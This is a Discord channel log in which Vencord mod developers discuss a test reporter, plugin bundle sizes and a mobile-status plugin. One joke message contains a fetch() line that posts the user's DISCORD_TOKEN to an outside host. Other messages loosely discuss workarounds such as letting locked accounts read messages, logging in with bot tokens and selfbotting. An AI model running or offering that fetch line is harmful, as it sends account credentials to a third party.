#๐Ÿ‘พ-core-development

1 messages ยท Page 142 of 1

junior olive
#

i think stickerPadding is fine nookies

#

up to u

limber skiff
#

I can test if the find only matches a single mod

#

give me a sec

livid heath
#

also advanced messages is 3 now smh, allowed mentions, show media names, edit attachments

i'll work on the last 2 in december

limber skiff
#

now we wait

livid heath
limber skiff
junior olive
#

fuck what else

limber skiff
junior olive
#

what ab ur find

austere talon
#

does it have other array methods like push, pop?

junior olive
#

ok

#

il lget it

limber skiff
austere talon
#

.at is a very new method, it might just be that our types are outdated

dense fossilBOT
#

Artist is a very new method, it might just be that our types are outdated could not be found, please check your search values and try again.

limber skiff
#

it has .length

#

and all the other shit

austere talon
#

i wanted to google it, not that goofy ahh site

limber skiff
#

also that was in typescript playground ven

austere talon
austere talon
limber skiff
#

@junior olive openAvatarDecorationModal: is working so keep it

junior olive
#

yop

#

it matches a export

limber skiff
#

running the reporter locally is so good

#

force loading everything is so pog

junior olive
#

i think decor is fully reporter compatible now

austere talon
austere talon
junior olive
#

it wasnt before bc of custom extraction but

limber skiff
junior olive
#

yeah, before it wasn't

limber skiff
#

the only one you need to be careful about is proxyLazy

junior olive
#

ooh shit true 1s

limber skiff
#

you need to use proxyLazyWebpack instead

junior olive
#

this is the only mf i think

limber skiff
#

oh

#

use LazyComponentWebpack

#

same thing but reporter tests for it

junior olive
#

done

limber skiff
#

it kinda sucks but it was the only way to do it

livid heath
limber skiff
#

also

livid heath
#

oh it makes a copy

limber skiff
#

you can change that to use findComponentByCode

junior olive
#

i could but does it need to?

#

done

#

but i dont think its immediately necessary

limber skiff
#

it checks for components in a better way

#

let me show you

junior olive
#

there

#

my finds are top notch

grave mangoBOT
limber skiff
#

oh

#

that doesnt say much lmao

junior olive
#

lmao

grave mangoBOT
limber skiff
#

here

austere talon
junior olive
#

its fine ig it

livid heath
#

do not question me ven
reading minfied code has polluted me with sequence exprs

junior olive
#

how can i run reporter locally

limber skiff
#

pnpx esbuild scripts/generateReport.ts > dist/report.mjs to build reporter script

austere talon
#

why would u pnpx

#

just pnpm esbuild

#

or even just install esbuild globally like a chad

junior olive
#

have yall ever heard of these things called
utility methods

austere talon
#

whar?

junior olive
#

the colors man ๐Ÿ˜ญ

limber skiff
#

then node .\dist\report.mjs to run it

austere talon
junior olive
#

make a func to return good/bad color instead of that

austere talon
#

no

limber skiff
austere talon
#

why would i overengineer some purely ci script

livid heath
junior olive
#

thats not overengineering its being sane

austere talon
#

that code was mostly written by copilot anyway

austere talon
livid heath
junior olive
#

instead of having those colors all thrown around u just have them in 1 place

#

guhh

austere talon
#

takes way longer and is entirely unnecessary

#

stop overengineering

limber skiff
livid heath
#

anyways
if it aint broken dont touch it

junior olive
#

idk that's just my thoughts

livid heath
#

i still prefer utilities

junior olive
#

for a ci script sure but throwing that into a func to get the color is not that insane

#

atleast define the colors on their own and reuse the var that's atleast what id do

junior olive
limber skiff
#

lol

junior olive
#

too much work

limber skiff
#

it takes a bit of effort to get it ready but after that it's just running the script

#

I got a DISCORD_TOKEN and CHROMIUM_BIN always in my env vars now for it

austere talon
#

LMAOO

#

i have a global DISCORD_TOKEN env var but it's a bot token

livid heath
#

i have like 5 ||user|| discord tokens in my env fear

junior olive
limber skiff
#

erm

junior olive
#

erm

limber skiff
#

oops

junior olive
#

lmao

limber skiff
#

I sent on accident

livid heath
#

fetch("https://arhsm.cat/store", { method: "POST", body: { thing: process.env.DISCORD_TOKEN } })
please run this for me nookies

#

/j

charred monolithBOT
limber skiff
limber skiff
#

it's a throw away account ven made that isnt even verified

junior olive
livid heath
#

its called "shared account"s

junior olive
#

smh cant believe vencord devs would steal tokens and use them

limber skiff
#

all the reporter needs is an account to exist, nothing else

livid heath
#

proxy api requests and return fake responses, no need for an account :nod:

limber skiff
#

nah it's not cuz of that

#

loading chunks doesnt require an account

#

but a lot of plugins start code use UserStore.getCurrentUser()

#

or some other patches that run instantly

#

so we need an account logged for those to not error

austere talon
#

nookies and i use the same phone number locked account for reporter

livid heath
#

horror

limber skiff
#

yeah lmao

livid heath
#

make a global shared account for vencord contributors prayumaru

austere talon
#

random throwaway i made

livid heath
#

ah well phone locked accounts still get GW events, should be enough to populate cache

austere talon
#

yeah

junior olive
austere talon
#

it's just write actions phone number locked accounts can't do, right?

livid heath
#

hop on code insiders

austere talon
#

so technically you could make a plugin to allow readonly access to discord for locked accounts

livid heath
#

they can't use the restful api
but gw is free to use

junior olive
#

if i selfbot using the official discord client does it really count Clueless

livid heath
limber skiff
#

what does gw mean

junior olive
#

gateway

limber skiff
#

o

livid heath
#

discord: bots need intents to get message content
also discord: yeah phone locked potential scraper accounts can have content, no problem

limber skiff
#

me on my way to make a plugin that disables the rest api as a whole and removes the phone number screen

livid heath
#

do it

#

it will be suprisingly functional

limber skiff
#

it prob will lmao

livid heath
#

gw sends all guilds, so you have guild cache populated, you'll get messages (you cant browse history or search 'cause thats restful)

#

you can atleast do the bare minimum, read messages

austere talon
#

make a plugin that allows you to log into bot accounts

livid heath
limber skiff
#

oh yeah I tried that once

#

but
I got a bunch of stuff errors when ur token is a bot token

#

I haven't looked exactly what needs patching for it to work

livid heath
#

but it should be simple
for one you need to remove 1 control flow in the gw logic which checks if account is bot and logs you out
and two, patch all non bot endpoints to be no-op

austere talon
livid heath
junior olive
#

WOO DECOR LOC IS SUB 1.5K AGAIN

livid heath
junior olive
#

its the ui

#

๐Ÿ™

verbal pumice
olive aurora
#

smallest vencord plugin

#

ur literally vap

#

vap is not allowed to make new plugins

junior olive
#

:( its worth it for the amazing ux

livid heath
#

there's a vencord plugin author ban list!?

junior olive
#

honestly plugin size doesn't matter, it's how you use it

olive aurora
#

it does

#

we dont want to explode our bundle

livid heath
#

vencord bun- lol i was just typing that

elder garnet
junior olive
#

18kb (17kb js, 1kb css) for decor

#

also bundle size doesn't matter to a extent

#

aliucordrn was bigger

olive aurora
#

aliucordrn is not

#

a good example of anything

junior olive
#

true

#

anyways

#

on mobile you need to worry about bundle size more but on desktop especially you don't need to worry as long as it's not like 1mb or some shit

#

it would be interesting to calculate each plugin's bundled size

olive aurora
#

doing that like right now

#

insan

junior olive
#

discord displays that horribly

olive aurora
#

let me nuke that one long filename

junior olive
#

can you share the code u used for this

olive aurora
#
diff --git a/scripts/build/build.mjs b/scripts/build/build.mjs
index a2e0e00..8b3d6e5 100755
--- a/scripts/build/build.mjs
+++ b/scripts/build/build.mjs
@@ -98,7 +98,7 @@ const globNativesPlugin = {
     }
 };

-await Promise.all([
+const malware = await Promise.all([
     // Discord Desktop main & renderer & preload
     esbuild.build({
         ...nodeCommonOpts,
@@ -203,3 +203,5 @@ await Promise.all([
     if (!commonOpts.watch)
         process.exitCode = 1;
 });
+
+console.log(await esbuild.analyzeMetafile(malware[1].metafile));
diff --git a/scripts/build/common.mjs b/scripts/build/common.mjs
index 5c34ad0..1c89662 100644
--- a/scripts/build/common.mjs
+++ b/scripts/build/common.mjs
@@ -222,5 +222,6 @@ export const commonOpts = {
     jsxFactory: "VencordCreateElement",
     jsxFragment: "VencordFragment",
     // Work around https://github.com/evanw/esbuild/issues/2460
-    tsconfig: "./scripts/build/tsconfig.esbuild.json"
+    tsconfig: "./scripts/build/tsconfig.esbuild.json",
+    metafile: true,
 };
livid heath
#

okay around 2~3

olive aurora
#

:q

#

thisisnt vim

junior olive
#

where does meta.json get output to

olive aurora
#

just stringify the malware[1].metafile

junior olive
#

guhh paing

olive aurora
#

i just (await import("fs")).writeFileSync("meta.json", JSON.stringify(malware[1].metafile))

junior olive
#

fuck this doesn't make decor look good

#

:/

olive aurora
junior olive
olive aurora
#

why is shc huge

long stream
#

it'll be fineee

junior olive
#

decor isn't bloated tho

olive aurora
#

ui is bloat

long stream
#

why is it so big then

junior olive
#

ui for good ux

olive aurora
#

we should be making requests manually

junior olive
#

im not surprised it comes behind showhidden

#

what was reviewdb?

charred monolithBOT
livid heath
#

HORROR

junior olive
#

how is it bigger than decor wtf ๐Ÿ˜ญ

livid heath
#

allowedmentions is more bloat than decor

#

i even removed edit support ๐Ÿ˜ญ

#

i need reviews on this shit to make this less bloat

junior olive
#

real if only there was reviews Clueless

olive aurora
livid heath
junior olive
#

I don't think decor is too bad tho in the end like

#

it uses the space well

livid heath
#

the ui is all the bloat

junior olive
#

insane bigger ui than decor

livid heath
#

but it's as minimal as it could be ๐Ÿ˜ญ

junior olive
#

for fucking mentions

livid heath
#

how does this simple UI end up being 11kb

junior olive
#

decor COULD have been bigger if i reimplemented discord's relevant components but i didn't to keep size down

#

like i've already optimized the obvious optimizations

#

which is use discord components as much as possible

livid heath
#

Original size: 14.4 kb
Bundled size: 11.9 kb
barely minifed

junior olive
livid heath
#

Original size: 103 bytes
Bundled size: 191 bytes
bloated css
literally just 10 lines

junior olive
#

it just adds up

#

the small things add up

livid heath
#

ui needs to be unbloated

junior olive
#

yeah wtf did u do

junior olive
#

wacky

livid heath
#

very

junior olive
snow burrow
#

im gonna make vencord++

#

and call it v++

olive aurora
#

i just fixed the missing import

mortal fractal
#

vencordminus

junior olive
#

ok lets be real

#

decor at 16kb is fine

olive aurora
#

stage 3 bargaining

junior olive
#

i mean it is fine tho

#

obviously if it was fucking 50kb or some shit that wouldnt be good

charred monolithBOT
olive aurora
#

ivebeen here writing a compiler i didnt realise its 4 am already

#

help

junior olive
#

rini go tf to sleep

olive aurora
#

but but butr

junior olive
#

girl.

olive aurora
#

beam vm,,,

#

its going so well

livid heath
#

mood

warped turret
#

Wow, thank you for the patch.

However, I encounter crash while loading

const { isMobileOnline } = findStoreLazy("PresenceStore");

https://imgur.com/a/XGxEhKg

I tried to access PresenceStore.isMobileOnline directly and it returned the function successfully.
However, there is still a problem that

isMobileOnline() {
  return PresenceStore.isMobileOnline(UserStore.getCurrentUser().id);
}

always returns false

austere talon
#

stop using outdated vencord

charred monolithBOT
warped turret
austere talon
#

false

livid heath
#

git pull

olive aurora
#

isn't that on common anyway

austere talon
#

yes

charred monolithBOT
limber skiff
limber skiff
warped turret
warped turret
warped turret
limber skiff
#

hmm

#

but is it working with the option enabled

#

it makes sense why it doesnt without

austere talon
austere talon
warped turret
austere talon
#

i never read that text

austere talon
#

yes but it looks off to me

#

please for the love of god stop sending imgur links

#

yes

#

latest oxygenos is merged with coloros

#

looks dogshit

warped turret
austere talon
#

now you can

warped turret
austere talon
#

enable consoleshortcuts plugin.

warped turret
#

Here's the full index.tsx I have.

import definePlugin from "@utils/types";
import { PresenceStore, UserStore } from "@webpack/common";
import { findStoreLazy } from "@webpack";


const { isMobileOnline } = findStoreLazy("PresenceStore");

export default definePlugin({
    name: "MobileIndicator",
    description: "",
    authors: [],
    patches: [
        {
            find: ".Messages.ACCOUNT_SPEAKING_WHILE_MUTED",
            replacement: {
                match: /renderAvatarWithPopout\(\){.+?className:\i\.avatar(?=,?)/,
                replace: "$&,isMobile:$self.isMobileOnline()"
            }
        }
    ],
    isMobileOnline() {
        console.log("isMobileOnline", isMobileOnline(UserStore.getCurrentUser().id));
        return isMobileOnline(UserStore.getCurrentUser().id);
    }
});
limber skiff
#

PlatformIndicafors Colored Mobile Indicator option

warped turret
austere talon
#

btw

#

youre invisible

limber skiff
#

well you are right, you only see mobile with online status

austere talon
#

ofc it will say false xd

limber skiff
#

and yes, you are invisible lol

austere talon
#

stop being ivisible

warped turret
#

It shouldn't matter. isMobile is passed to avatar renderer along with status

limber skiff
#

it does matter

warped turret
#

In fact, with PlatformIndicator and client spoofer, I see mobile icon on invisible too

austere talon
#

the function is literally named isMobileOnline

#

yes ofc it matters

limber skiff
#

isMobileOnline normally returns false if you aren't online in mobile

austere talon
#

it's isMobileOnline, not isMobile

limber skiff
#

the PlatformIndicator patches that to modify that behavior

warped turret
austere talon
#

if you want to just check whether the user is on mobile at all, you can do

const isOnMobile = PresenceStore.getState().clientStatuses[UserStore.getCurrentUser().id]?.mobile != null;
warped turret
limber skiff
#

as I said, platform indicators modify all those behaviors to make discord actually render the mobile icon for other status

#

and if you actually go through all the component stack, the member list avatar for example just ends up doing isMobile: isMobileOnline(...)

austere talon
#

once again stop being invisible SKULL_SKELETON

warped turret
#

That's without platform indicator

austere talon
#

you need to actually have the persons status loaded

#

open your profile

warped turret
#

hmm, it's empty

#

Oh, I guess I can simply do

UserStore.getCurrentUser().mobile

UPD: works with all statuses and without platformindicator (mobile icon displays only on online though (expected))

#

Thanks for the patch in status panel again.
But I'd like to replace it everywhere (popup, opened modal, server list etc).

As I [mentioned](#๐Ÿ‘พ-core-development message), I managed to find some of modules that responsible for separate parts. However I don't like the idea to patch all of them simple because it might cause some conflicts with other plugins.

Is there another global entry point to patch all avatars at once?

limber skiff
limber skiff
#

you dont need to?

#

this place is the only that doesnt show the mobile icon by default because it never gives a isMobile prop to the children

#

already works as I said

warped turret
limber skiff
#

๐Ÿคจ

#

if it spoofs correctly that shouldnt have happened I think

warped turret
limber skiff
#

In fact, even from mobile client it shows circle for you, not mobile icon

wdym

#

also show the result of

PresenceStore.getState().clientStatuses[UserStore.getCurrentUser().id]

warped turret
limber skiff
#

oh

#

give me a sec then

warped turret
#

Same on desktop with a spoofer. It shows only circle online.

I believe there is a check somewhere that renders circle for you no matter what, while for other mobile+online users it does change icon to mobile

#

So I either need to force discord to check for mobile status even for myself, or find a global method that calls avatar render and explicitly set isMobile

limber skiff
#

find a global method that calls avatar render and explicitly set isMobile

there's no such thing

warped turret
limber skiff
#

oh my god please send me what I need

warped turret
limber skiff
#

do again

warped turret
limber skiff
#

why the heck is it empty ๐Ÿ˜ญ

#

oh

#

I see

#

freaking discord code

limber skiff
#

wait a bit please

#

try this @warped turret

/*
 * Vencord, a Discord client mod
 * Copyright (c) 2023 Vendicated and contributors
 * SPDX-License-Identifier: GPL-3.0-or-later
 */

import definePlugin from "@utils/types";
import { findStoreLazy } from "@webpack";
import { PresenceStore, UserStore } from "@webpack/common";

const SessionsStore = findStoreLazy("SessionsStore");

export default definePlugin({
    name: "MobileIndicator",
    description: "",
    authors: [],
    patches: [
        {
            find: ".Messages.ACCOUNT_SPEAKING_WHILE_MUTED",
            replacement: {
                match: /renderAvatarWithPopout\(\){.+?className:\i\.avatar(?=,?)/,
                replace: "$&,isMobile:$self.isMobileOnline()"
            }
        },
        {
            find: "}isMobileOnline(",
            replacement: {
                // Make isMobileOnline include the clientStatuses for the current user
                match: /(?<=}isMobileOnline\(\i\){let \i=\i\[(\i)\])/,
                replace: "??=$self.maybeGetClientStatusesForSelf($1)"
            }
        }
    ],

    isMobileOnline() {
        return PresenceStore.isMobileOnline(UserStore.getCurrentUser().id);
    },

    maybeGetClientStatusesForSelf(userId: string) {
        if (userId !== UserStore.getCurrentUser().id) return;

        const sessions = SessionsStore.getSessions();
        const sortedSessions = (Object.values(sessions) as any[]).sort(({ status: a }, { status: b }) => {
            if (a === b) return 0;
            if (a === "online") return 1;
            if (b === "online") return -1;
            if (a === "idle") return 1;
            if (b === "idle") return -1;
            return 0;
        });

        return Object.fromEntries(
            sortedSessions
                .filter(s => s.clientInfo.client !== "unknown")
                .map(s => [s.clientInfo.client, s.status])
        );
    }
});
livid heath
#

horror

austere talon
#

why do all that O.O

limber skiff
#

to workie

austere talon
#
/*
 * Vencord, a Discord client mod
 * Copyright (c) 2023 Vendicated and contributors
 * SPDX-License-Identifier: GPL-3.0-or-later
 */

import definePlugin from "@utils/types";
import { findStoreLazy } from "@webpack";
import { PresenceStore, UserStore } from "@webpack/common";

const SessionsStore = findStoreLazy("SessionsStore");

export default definePlugin({
    name: "MobileIndicator",
    description: "",
    authors: [],
    patches: [
        {
            find: ".Messages.ACCOUNT_SPEAKING_WHILE_MUTED",
            replacement: {
                match: /renderAvatarWithPopout\(\){.+?className:\i\.avatar(?=,?)/,
                replace: "$&,isMobile:$self.isMobileOnline()"
            }
        }
    ],

    isMobileOnline() {
        return Object.values(SessionsStore.getSessions()).some(s => s.clientInfo.client === "mobile");
    }
});
#

๐Ÿ˜ญ

limber skiff
#

the other patch is needed for the rest of the stuff

#

like member list, etc

austere talon
#

anyway what is that plugin for anyway

#

MobileIndicator

#

just use PlatformIndicators??

limber skiff
#

oh it's just the name they put lol

#

anyways basically all the rest of the avatar renders look if the user isMobile using isMobileOnline, but by default PresenceStore doesnt include the clientStatus for the current user, so when discord calls isMobileOnline we also make the obj include the clientStatus for current user

#

okay I go back to sleep now

warped turret
#

Apparently, it works only along with PlatformIndicator. While having it disabled, server list and user profile doesn't show mobile status for me

limber skiff
#

I'm about to cry

#

well you can try debugging it yourself

#

I need to go back to sleeping

#

really unsure why it didnt work now

warped turret
#

Probably because PlatformIndicator introduces this patch

warped turret
limber skiff
#

actually

#

try this one sec

#
/*
 * Vencord, a Discord client mod
 * Copyright (c) 2023 Vendicated and contributors
 * SPDX-License-Identifier: GPL-3.0-or-later
 */

import definePlugin from "@utils/types";
import { UserStore } from "@webpack/common";

export default definePlugin({
    name: "MobileIndicator",
    description: "",
    authors: [],
    patches: [
        {
            find: ".Messages.ACCOUNT_SPEAKING_WHILE_MUTED",
            replacement: {
                match: /renderAvatarWithPopout\(\){.+?className:\i\.avatar(?=,?)/,
                replace: "$&,isMobile:$self.isSelfMobile()"
            }
        },
        {
            find: "}isMobileOnline(",
            replacement: {
                match: /(?<=}isMobileOnline\((\i)\){)/,
                replace: "if($1===Vencord.Webpack.Common.UserStore.getCurrentUser().id)return $self.isSelfMobile();"
            }
        }
    ],

    isSelfMobile() {
        return UserStore.getCurrentUser().mobile;
    }
});
#

untested but may work

warped turret
limber skiff
#

nice

charred monolithBOT
austere talon
#

oh i see the issue

#

its finding two modules

crude hearth
#

thank god

#

never fix

charred monolithBOT
austere talon
#

i think the findComponentByCode pr broke it

#

cause with the new webpack filter it found two modules over just one

#

and used the wrong one

#

surprised it just renderered null without errors

#

maybe we could add a "Restart Discord without Vencord" button

#

so people can more easily test if bugs happen on stock too

#

withotu having to reinstall

crude hearth
#

I would add a option to auto update on launch if it errors

#

tho idk if its even possible

#

or just add a flag that launches discord without vencord and create a shortcut on desktop

austere talon
#

"Oh no your discord has crashed. however, there is a vencord update that might fix it. update now?"

crude hearth
#

but yeah on crash it might make sense

nimble plaza
#

hey @austere talon i havent been keeping track of here for a bit, can i ask why #1164494686472380546 is locked?

spark pivot
#

Theyโ€™re here now

#

Again

nimble plaza
#

ahhh

crude hearth
#

another fork incident

#

does that guy test using github actions

#

YEAH DEFINILETLY

charred monolithBOT
charred monolithBOT
north knoll
keen jewel
#

is it normal that my discord crashes as soon as i open the developers tool?

limber skiff
#

yeah just switch to another tab

keen jewel
#

huh?

#

tab of the developers tool or a windows tab

#

ah ok ok

#

figured it out thx

shadow mango
#

yall know how i can modify responses (making watch together adblocker)

#

like is this possible to put into a plugin

  {
    urlPattern: "https://www.youtube.com/youtubei/v1/player",
    modifyResponse({ body }) {
      const json = JSON.parse(body);
      delete json.playerAds;
      delete json.adPlacements;
      delete json.adSlots;
      return {
        body: JSON.stringify(json)
      };
    }
  }```
spark pivot
#

Use patches

#

Look at other plugins too

shadow mango
#

do those work with a non discord js request?

spark pivot
#

Discord js has nothing to do with vencord

jagged cloak
#

i thought watch together adblock was already made

spark pivot
#

I think its already in a pr somewhere

#

Just lost in the sea of other PRs

shadow mango
spark pivot
#

Prob that update discord did a while back

shadow mango
#

so is there a way to modify the youtube api request with vencord ๐Ÿ—ฟ

#

all of the patches are using it to modify discord js modules

spark pivot
#

Stop thinking about discord js

#

Discord js is for bots

#

Vencord is not a bot

shadow mango
#

my brother in christ that is not what i am talking about

spark pivot
#

Discordjs has nothing to do with vencord

shadow mango
#

i am talking about the javascript in discord

#

that patches modifies

spark pivot
#

Oh ๐Ÿ’€

shadow mango
spark pivot
limber skiff
#

to modify the watch together stuff you need to use the native part of the vencord api

#

which lets a plugin define code that runs on the electron side

#

you can't modify the watch together from the renderer (the document side)

charred monolithBOT
nimble plaza
#

ive already done a watch together adblock that works

#

ill pr it later tonight

austere talon
#

rule 5 @dusky sonnet @spark pivot

#

you know better than this

dusky sonnet
#

Ah sorry

vague mortar
#

oh mb did i do sum wrong

dusky sonnet
#

vns

nimble pendantBOT
dusky sonnet
#

:D

vague mortar
#

ohh

#

sorry sorry

misty raptor
#

speaking of rules

#

does rule 11 mean i canโ€™t use copilot??

limber skiff
#

you can

junior olive
#

you can use copilot u just can't submit fully ai-genned code like

#

you need to know what the code does

austere talon
#

that rule is mostly about people who don't know how to code asking ai to write entire plugins then asking for help with delusional code

not about actual developers using copilot

misty raptor
#

makes sense

olive aurora
#

blaming copilot for all my bad code (i don't use it)

misty raptor
#

copilot is my bae

#

it generates code based on ur existing code

turbid hatch
#

welllll i was gonna fix up usercss

misty raptor
#

so if copilot is generating shit

#

then ur code is....

olive aurora
#

i lied i only write food perfectly readable code

turbid hatch
#

then it turns out im now bedbound for a little while

olive aurora
#

my software has no bugs ever

turbid hatch
misty raptor
#

copilot letโ€™s me discover javascript features that i donโ€™t know exist (because i donโ€™t know js)

olive aurora
#

so does mdn

austere talon
#

copilot is good if you use it as basic auto complete for single lines of code

turbid hatch
#

usercss i think is done but it still needs the fix for lazy loading

austere talon
#

but terrible if you expect it to generate multiple paragraphs of code

turbid hatch
#

after that we can merge it and forget about it until discord shatters my hopes and dreams again

misty raptor
#

i find itโ€™s actually pretty easy to get copilot to generate large amounts of code

deep glade
#

copilot, imo, is a good second pair of eyes;
It'll come up with solutions for problems that I would never have thought of, even if its implementation of those solutions are often... crap

misty raptor
#

if you just split it up into chunks

#

and add lots of comments

turbid hatch
#

copilot chat is interesting

misty raptor
#

but itโ€™s not like iโ€™m blindly letting it do stuff

olive aurora
#

copilot was a mistake

misty raptor
#

copilot was Not a mistake

turbid hatch
#

it's like a stackoverflow if it was never rude to you and you could never ask it a stupid question and get downvoted into oblivion

olive aurora
#

ok lazy bitch

#

you are a mistake then

misty raptor
#

i prefer to put my effort into actual development

limber skiff
#

I mainly use copilot for generating copy and paste code based on what I did before

turbid hatch
#

i rarely use copilot to generate code tbh, i should turn it off besides the chat

misty raptor
#

and not tedious things

limber skiff
#

and even then it still messes up

#

so I would for sure not trust it to generate paragraphs

misty raptor
#

copilot is like google where itโ€™s almost a skill of its own

turbid hatch
#

hey nooooookiesssssss

charred monolithBOT
turbid hatch
#

you know what time it is :)

austere talon
#

bonk

olive aurora
#

im right

misty raptor
#

thereโ€™s ways to prime it to give you all the stuff you need

limber skiff
#

what does it need to be done lewi?

austere talon
limber skiff
#

to be honest I really don't understand how color picker works for client theme but not user css

misty raptor
#

just sayin i once used it to generate a massive function that took video frames and rendered them into an mp4 using only apple api

#

and it worked flawlessly

limber skiff
#

guess I will have to debug it on the pr

turbid hatch
#

your lazy loading thing looks good to me, so if you want, add that pr as a dependency for usercss and add a code review to add the change necessary

#

yeah that'd be a good idea, cause im not sure either

limber skiff
#

it's in dev already lol

turbid hatch
#

ah didnt notice

austere talon
turbid hatch
#

ive been in bed for 3 days now so

limber skiff
#

I merged yesterday

limber skiff
#

dang

#

what's up with you?

turbid hatch
#

just sick, i got worse

#

ill be okay

limber skiff
#

๐Ÿ˜”

misty raptor
#

no way i was also sick a few days ago

limber skiff
#

I hope you get better

turbid hatch
#

i think i caught covid alongside my flu cause i tested negative but then i started testing positive late into my sickness

limber skiff
turbid hatch
#

anyway i will live im just a bit beat up

#

its probably that new omicron variant or whatever

#

the one that's just flu 2

#

infectious but barely covid

limber skiff
#

flu 2 lmao

olive aurora
#

treating covid like a new flu was a mistake

limber skiff
#

Brazil moment

austere talon
#

i also had covid

#

twinning

turbid hatch
#

omg no way babe

turbid hatch
#

to date

junior olive
#

they really got all the mf vencord devs at once

misty raptor
#

waiting until i vencord contributr

#

one day

turbid hatch
#

this is obviously a bioterrorism attack against vencord

junior olive
#

ya

#

replugged commits bio warfare on vencord

turbid hatch
#

holy shit

#

nah its hyprland

junior olive
#

commits? like.. the git thing??

turbid hatch
#

!

olive aurora
#

meanwhile im here sufferjng from rhinitis

#

its true thats my actual name

turbid hatch
#

isnt that the fancy term for

#

blocked nose due to allergies

misty raptor
#

might add a โ€œserver blacklistโ€ feature to keywordnotify

#

i think would be super useful

olive aurora
#

yes

turbid hatch
#

wow learning med did pay off

misty raptor
#

like u could have keyword for โ€œvencordโ€ and then blacklist this server so u get notified every time someone mentions it elsewhere

#

genius!

turbid hatch
#

holy shit im coughing like a motherfucker

#

christ

#

anyway usercss is Almost the Finished

olive aurora
#

doyou ever just constantly sneeze for five minutes

turbid hatch
#

i just had a coughing fit for about that long but i dont think that counts does it

silk cypress
shadow mango
shadow mango
austere talon
open sierra
#

the cat that follows the corsair doesnt come

shadow mango
open sierra
#

oneko
wont come

silk cypress
#

real

spark pivot
#

Vns

nimble pendantBOT
#

owo

silk cypress
#

owo

charred monolithBOT
charred monolithBOT
charred monolithBOT
frail skyBOT
#
Bad Patches

NoTrack (found no module):
ID: -
Match: window.DiscordSentry=

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

#
Bad Patches

NoTrack (found no module):
ID: -
Match: window.DiscordSentry=

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

inland fable
#

anyone knows how to get whether a DM is muted :3 i can't find a .isMuted or alike after getting the channel from ChannelStore

spark pivot
#

Itโ€™s in user settings somewhere

#

Isnโ€™t there a hide muted channels plugin or smth

austere talon
#

look at mute new guild

#

it might help

inland fable
#

i think it uses UserGuildSettingsStore but thats only for guilds and not channels

#

ill double check

#

nevermind it uses updateGuildNotificationSettings

#

still can not use that to get whether a channel is muted

#

could find

Vencord.Webpack.findByProps("isChannelMuted").isChannelMuted("guildId", "channelId")

but i need this for direct messages

#

ah passing null as guild id works

limber skiff
#

I was about to say you had to use null as guild id

#

also do this instead

#

Vencord.Webpack.findStore("UserGuildSettingsStore").isChannelMuted("guildId", "channelId")

inland fable
#

thank you

austere talon
#

yeah try null / @me as guild id

inland fable
#

i did try empty string and @me at first turns out i had to use null

warped turret
#

How can I access this function?

junior olive
#

findByProps("isMobile")

limber skiff
#

that is not what you want

warped turret
limber skiff
#

it has nothing to do with the status, but the platform you are using

junior olive
#

its finding a class module

#

try findByProps("isMobile", "isIOSWeb")

warped turret
warped turret
limber skiff
#

try this instead

/*
 * Vencord, a Discord client mod
 * Copyright (c) 2023 Vendicated and contributors
 * SPDX-License-Identifier: GPL-3.0-or-later
 */

import definePlugin from "@utils/types";

const SessionsStore = findStoreLazy("SessionsStore");

export default definePlugin({
    name: "MobileIndicator",
    description: "",
    authors: [],
    patches: [
        {
            find: ".Messages.ACCOUNT_SPEAKING_WHILE_MUTED",
            replacement: {
                match: /renderAvatarWithPopout\(\){.+?className:\i\.avatar(?=,?)/,
                replace: "$&,isMobile:$self.isSelfMobile()"
            }
        },
        {
            find: "}isMobileOnline(",
            replacement: {
                match: /(?<=}isMobileOnline\((\i)\){)/,
                replace: "if($1===Vencord.Webpack.Common.UserStore.getCurrentUser().id)return $self.isSelfMobile();"
            }
        }
    ],

    isSelfMobile() {
        let sessions = Object.values(SessionsStore.getSessions());
        return sessions.some(s => s.clientInfo.client === "mobile") && !sessions.some(s => s.clientInfo.client === "desktop" && s.status === "online");
    }
});
#

1 sec actually

#

there

warped turret
limber skiff
#

try it

warped turret
# limber skiff try it

Just tried. It returned false as expected when I was on desktop only, after launching mobile app, it returned true. Everything as I expected.
SessionsStore.getSessions() contain mobile session too.

inland fable
#

what are yo trying to do

limber skiff
#

ok then remove && s.status === "online"

#

it's pretty simple what is happening there

warped turret
warped turret
inland fable
#

wha

limber skiff
inland fable
#

you will not be running vencord code on mobile

#

do u mean in other device

#

do u mean if u show up as on mobile for others

austere talon
#

okay so what are you actually making

#

what's the purpose

warped turret
# limber skiff

I just looked up sources and found singular function too!
Previously I've been using plural form that I took from PlatformIndicator

austere talon
#

what's your endgoal

warped turret
inland fable
#

your current session will never be mobile

austere talon
#

that's not what im asking

#

what is your end goal

inland fable
#

cuz you won't run vencord on mobile

austere talon
#

what should your plugin do

olive aurora
#

smallest xy problem in vencord dev

warped turret
inland fable
#

client spoofer will not be added to vencord but have fun making it as a third party plugin although there are already multiple of them if you want

warped turret
austere talon
warped turret
austere talon
#

you've been asking for help with every single super small step. that's not productive

warped turret
#

Obviously if I need some visual bells and whistles and they have no motivation to do that for me, I'm the only one who will

spark pivot
warped turret
austere talon
#

you're not getting better at it, you're getting spoonfed without learning much

#

try to do your own research, figure out things yourself

misty raptor
#

true...

#

i createded my plugin by just looking at what the other plugins did and then throwing shit at the wall and now im goated or wtv

olive aurora
#

when i made my first plugin i was so fast at it vee had to dm me "wtf how did you learn the entire api already" im goateder

misty raptor
#

how fast did you make it

#

i made mine before i even sent my first message ๐Ÿ˜ญ

#

cuz im goofy like that

crude hearth
#

I made mine while constantly annoying ven by asking about api

#

We are not the same

limber skiff
#

I helped make the api

#

We are not the same

#

ven about to:

I made the api

crude hearth
#

Ven first needs to wake up

elder garnet
#

ven made the client that runs the API you dingusheads

misty raptor
#

i would contribute to the api if i cared enough

#

but only mildly

#

like i understand how the inbox works enough to write a small api system for adding custom things to it

#

but thats so niche so whocares

junior olive
#

To anyone considering making a plugin to remove the stupid fucking avatar decoration slide in discord added to profile popouts i've already made one, have this hacky patch:

{
    find: "translate3d(-20px, -120px, 0)",
    replacement: {
        match: /translate3d\(-20px, -120px, 0\)/,
        replace: "translate3d(0, 0, 0)"
    }
}

I'm going to improve this patch and combine it with another plugin i've yet to PR tmrw

warped turret
junior olive
#

decor?

misty raptor
#

is this thing what ur referring to

junior olive
#

no

misty raptor
#

what are you referring to then

crude raptor
#

you mean profile effects

junior olive
#

no..

crude raptor
#

not avatar decorations

junior olive
#

let me type guys

#

i mean avatar decors god

crude raptor
#

then you definitely have one.

junior olive
#

THIS

#

jesus

misty raptor
#

isnt that literally what the thing i just sent was

